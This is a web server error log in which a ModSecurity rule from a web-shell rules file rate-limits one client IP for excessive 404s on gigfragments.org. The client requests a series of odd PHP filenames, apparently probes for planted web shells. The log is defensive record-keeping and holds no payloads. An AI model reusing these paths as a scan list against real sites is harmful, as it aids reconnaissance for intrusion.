[Sun Apr 26 09:26:49.576501 2026] [:error] [pid 22573:tid 22612] [client 20.203.160.110:31800] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bojcdooq.php"] [unique_id "ae1p2XB3EmQlD4yKUt9ISAAAAYY"]
[Sun Apr 26 09:27:09.422596 2026] [:error] [pid 8390:tid 8456] [client 20.203.160.110:16351] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sko.php"] [unique_id "ae1p7YGPtFK_i9p5yxReNgAAAIU"]
[Sun Apr 26 09:27:11.890699 2026] [:error] [pid 13137:tid 13148] [client 20.203.160.110:63780] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sko.php"] [unique_id "ae1p790RB4J0o4h5neH_rQAAAgg"]
[Sun Apr 26 09:27:12.551952 2026] [:error] [pid 8385:tid 8436] [client 20.203.160.110:63769] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sko.php"] [unique_id "ae1p8DOy7_J84Wx3-oyCXwAAAEw"]
[Sun Apr 26 09:27:14.889684 2026] [:error] [pid 22573:tid 22610] [client 20.203.160.110:17170] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sko.php"] [unique_id "ae1p8nB3EmQlD4yKUt9IgwAAAYQ"]
[Sun Apr 26 09:27:17.514735 2026] [:error] [pid 22572:tid 22598] [client 20.203.160.110:35304] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shorw.php"] [unique_id "ae1p9dXOViWCFU-pZzCTXgAAAVQ"]
[Sun Apr 26 09:27:23.600913 2026] [:error] [pid 22572:tid 22590] [client 20.203.160.110:49063] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shorw.php"] [unique_id "ae1p-9XOViWCFU-pZzCTZAAAAUw"]
[Sun Apr 26 09:27:26.494165 2026] [:error] [pid 22573:tid 22624] [client 20.203.160.110:59254] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shorw.php"] [unique_id "ae1p_nB3EmQlD4yKUt9IoAAAAZE"]
[Sun Apr 26 09:27:29.215179 2026] [:error] [pid 13197:tid 13236] [client 20.203.160.110:48332] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shorw.php"] [unique_id "ae1qAd3kktFKdSxTrBuf4wAAAsU"]
[Sun Apr 26 09:27:29.930444 2026] [:error] [pid 16574:tid 16608] [client 20.203.160.110:45639] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shelp.php"] [unique_id "ae1qAX5MsX8wRQr99nYG2QAAA0Q"]
[Sun Apr 26 09:27:31.613332 2026] [:error] [pid 13197:tid 13252] [client 20.203.160.110:34511] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shelp.php"] [unique_id "ae1qA93kktFKdSxTrBuf5wAAAtQ"]
[Sun Apr 26 09:27:33.970075 2026] [:error] [pid 8385:tid 8441] [client 20.203.160.110:15551] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shelp.php"] [unique_id "ae1qBTOy7_J84Wx3-oyCfAAAAFE"]
[Sun Apr 26 09:27:35.613583 2026] [:error] [pid 8491:tid 8504] [client 20.203.160.110:45830] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shelp.php"] [unique_id "ae1qByq7I7e6CJooQM26FwAAAMU"]
[Sun Apr 26 09:27:42.384492 2026] [:error] [pid 8491:tid 8500] [client 20.203.160.110:38395] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seyv.php"] [unique_id "ae1qDiq7I7e6CJooQM26HAAAAME"]
[Sun Apr 26 09:27:44.195086 2026] [:error] [pid 22572:tid 22584] [client 20.203.160.110:42280] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seyv.php"] [unique_id "ae1qENXOViWCFU-pZzCTjgAAAUY"]
[Sun Apr 26 09:27:45.277534 2026] [:error] [pid 8385:tid 8439] [client 20.203.160.110:29079] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seyv.php"] [unique_id "ae1qETOy7_J84Wx3-oyChgAAAE8"]
[Sun Apr 26 09:27:46.146728 2026] [:error] [pid 16515:tid 16529] [client 20.203.160.110:16317] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seyv.php"] [unique_id "ae1qEltDrUmgHSvpuLzgbAAAAks"]
[Sun Apr 26 09:27:46.918071 2026] [:error] [pid 8390:tid 8453] [client 20.203.160.110:53387] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad821.php"] [unique_id "ae1qEoGPtFK_i9p5yxRebQAAAII"]
[Sun Apr 26 09:27:47.822479 2026] [:error] [pid 13137:tid 13144] [client 20.203.160.110:47723] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad821.php"] [unique_id "ae1qE90RB4J0o4h5neH_6AAAAgQ"]
[Sun Apr 26 09:27:48.638195 2026] [:error] [pid 16515:tid 16542] [client 20.203.160.110:53394] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad821.php"] [unique_id "ae1qFFtDrUmgHSvpuLzgbgAAAlg"]
[Sun Apr 26 09:27:50.617654 2026] [:error] [pid 8390:tid 8456] [client 20.203.160.110:18424] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad821.php"] [unique_id "ae1qFoGPtFK_i9p5yxRegQAAAIU"]
[Sun Apr 26 09:27:52.469553 2026] [:error] [pid 22572:tid 22596] [client 20.203.160.110:64444] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad8210.php"] [unique_id "ae1qGNXOViWCFU-pZzCTnAAAAVI"]
[Sun Apr 26 09:27:53.359391 2026] [:error] [pid 8385:tid 8436] [client 20.203.160.110:27085] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad8210.php"] [unique_id "ae1qGTOy7_J84Wx3-oyCnwAAAEw"]
[Sun Apr 26 09:27:54.791151 2026] [:error] [pid 22573:tid 22629] [client 20.203.160.110:20539] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad8210.php"] [unique_id "ae1qGnB3EmQlD4yKUt9I2wAAAZY"]
[Sun Apr 26 09:27:55.423548 2026] [:error] [pid 8390:tid 8451] [client 20.203.160.110:59355] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad8210.php"] [unique_id "ae1qG4GPtFK_i9p5yxRemAAAAIA"]
[Sun Apr 26 09:27:57.209191 2026] [:error] [pid 8390:tid 8455] [client 20.203.160.110:47693] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad8rd1.php"] [unique_id "ae1qHYGPtFK_i9p5yxReqgAAAIQ"]
[Sun Apr 26 09:27:58.669904 2026] [:error] [pid 22573:tid 22612] [client 20.203.160.110:52063] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad8rd1.php"] [unique_id "ae1qHnB3EmQlD4yKUt9I4gAAAYY"]
[Sun Apr 26 09:27:59.800818 2026] [:error] [pid 22573:tid 22620] [client 20.203.160.110:52058] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad8rd1.php"] [unique_id "ae1qH3B3EmQlD4yKUt9I5QAAAY0"]
[Sun Apr 26 09:28:00.778000 2026] [:error] [pid 8385:tid 8438] [client 20.203.160.110:13201] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sad8rd1.php"] [unique_id "ae1qIDOy7_J84Wx3-oyCqAAAAE4"]
[Sun Apr 26 09:28:01.879068 2026] [:error] [pid 8390:tid 8452] [client 20.203.160.110:25853] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saxzgf5.php"] [unique_id "ae1qIYGPtFK_i9p5yxRevQAAAIE"]
[Sun Apr 26 09:28:02.827253 2026] [:error] [pid 22572:tid 22589] [client 20.203.160.110:52092] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saxzgf5.php"] [unique_id "ae1qItXOViWCFU-pZzCTqQAAAUs"]
[Sun Apr 26 09:28:03.667950 2026] [:error] [pid 8390:tid 8468] [client 20.203.160.110:57893] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saxzgf5.php"] [unique_id "ae1qI4GPtFK_i9p5yxRevgAAAJE"]
[Sun Apr 26 09:28:04.623128 2026] [:error] [pid 8390:tid 8469] [client 20.203.160.110:13218] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saxzgf5.php"] [unique_id "ae1qJIGPtFK_i9p5yxRewwAAAJI"]
[Sun Apr 26 09:28:05.380139 2026] [:error] [pid 8390:tid 8472] [client 20.203.160.110:57362] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saxzw9t.php"] [unique_id "ae1qJYGPtFK_i9p5yxRexgAAAJU"]
[Sun Apr 26 09:28:06.323636 2026] [:error] [pid 22573:tid 22609] [client 20.203.160.110:41686] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saxzw9t.php"] [unique_id "ae1qJnB3EmQlD4yKUt9I9AAAAYM"]
[Sun Apr 26 09:28:30.149613 2026] [:error] [pid 13197:tid 13249] [client 20.203.160.110:2435] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-asyn-upload.php"] [unique_id "ae1qPt3kktFKdSxTrBugMQAAAtE"]
[Sun Apr 26 09:28:32.573286 2026] [:error] [pid 13137:tid 13163] [client 20.203.160.110:38293] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-asyn-upload.php"] [unique_id "ae1qQN0RB4J0o4h5neEARQAAAhY"]
[Sun Apr 26 09:28:33.929160 2026] [:error] [pid 8383:tid 8420] [client 20.203.160.110:41723] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-asyn-upload.php"] [unique_id "ae1qQdFa2S3EsATMdWPZUAAAABc"]
[Sun Apr 26 09:28:34.739096 2026] [:error] [pid 16574:tid 16607] [client 20.203.160.110:57375] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-asyn-upload.php"] [unique_id "ae1qQn5MsX8wRQr99nYG-AAAA0M"]
[Sun Apr 26 09:28:35.365529 2026] [:error] [pid 8383:tid 8413] [client 20.203.160.110:38273] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/redixsx.php"] [unique_id "ae1qQ9Fa2S3EsATMdWPZUwAAABA"]
[Sun Apr 26 09:28:36.339753 2026] [:error] [pid 16515:tid 16533] [client 20.203.160.110:45586] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/redixsx.php"] [unique_id "ae1qRFtDrUmgHSvpuLzgtgAAAk8"]
[Sun Apr 26 09:28:36.945345 2026] [:error] [pid 8491:tid 8507] [client 20.203.160.110:59957] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/redixsx.php"] [unique_id "ae1qRCq7I7e6CJooQM26OAAAAMg"]
[Sun Apr 26 09:28:38.852392 2026] [:error] [pid 22572:tid 22595] [client 20.203.160.110:41713] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/redixsx.php"] [unique_id "ae1qRtXOViWCFU-pZzCT3wAAAVE"]
[Sun Apr 26 09:28:42.467421 2026] [:error] [pid 13137:tid 13163] [client 20.203.160.110:57385] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "ae1qSt0RB4J0o4h5neEAdgAAAhY"]
[Sun Apr 26 09:28:43.842570 2026] [:error] [pid 16574:tid 16605] [client 20.203.160.110:25206] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "ae1qS35MsX8wRQr99nYHBAAAA0E"]
[Sun Apr 26 09:28:44.869278 2026] [:error] [pid 8491:tid 8516] [client 20.203.160.110:41671] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "ae1qTCq7I7e6CJooQM26PAAAANE"]
[Sun Apr 26 09:28:45.829035 2026] [:error] [pid 8390:tid 8461] [client 20.203.160.110:10890] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "ae1qTYGPtFK_i9p5yxRfDgAAAIo"]
[Sun Apr 26 09:28:47.021139 2026] [:error] [pid 8390:tid 8467] [client 20.203.160.110:25850] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bc.php"] [unique_id "ae1qT4GPtFK_i9p5yxRfFAAAAJA"]
[Sun Apr 26 09:28:50.141926 2026] [:error] [pid 13137:tid 13148] [client 20.203.160.110:38286] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bc.php"] [unique_id "ae1qUt0RB4J0o4h5neEAoQAAAgg"]
[Sun Apr 26 09:28:59.348693 2026] [:error] [pid 8390:tid 8451] [client 20.203.160.110:41677] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bc.php"] [unique_id "ae1qW4GPtFK_i9p5yxRfJgAAAIA"]
[Sun Apr 26 09:29:00.193492 2026] [:error] [pid 22573:tid 22629] [client 20.203.160.110:64805] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bc.php"] [unique_id "ae1qXHB3EmQlD4yKUt9JGwAAAZY"]
[Sun Apr 26 09:29:00.955756 2026] [:error] [pid 16515:tid 16528] [client 20.203.160.110:52012] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/67.php"] [unique_id "ae1qXFtDrUmgHSvpuLzg3wAAAko"]
[Sun Apr 26 09:29:05.250616 2026] [:error] [pid 13197:tid 13237] [client 20.203.160.110:64806] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/67.php"] [unique_id "ae1qYd3kktFKdSxTrBugUAAAAsY"]
[Sun Apr 26 09:29:12.363873 2026] [:error] [pid 8385:tid 8448] [client 20.203.160.110:25820] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/67.php"] [unique_id "ae1qaDOy7_J84Wx3-oyC1wAAAFg"]
[Sun Apr 26 09:29:13.366430 2026] [:error] [pid 8385:tid 8425] [client 20.203.160.110:18953] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/67.php"] [unique_id "ae1qaTOy7_J84Wx3-oyC3AAAAEE"]
[Sun Apr 26 09:29:16.294579 2026] [:error] [pid 16515:tid 16525] [client 20.203.160.110:41376] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1mrX.php"] [unique_id "ae1qbFtDrUmgHSvpuLzg9wAAAkc"]
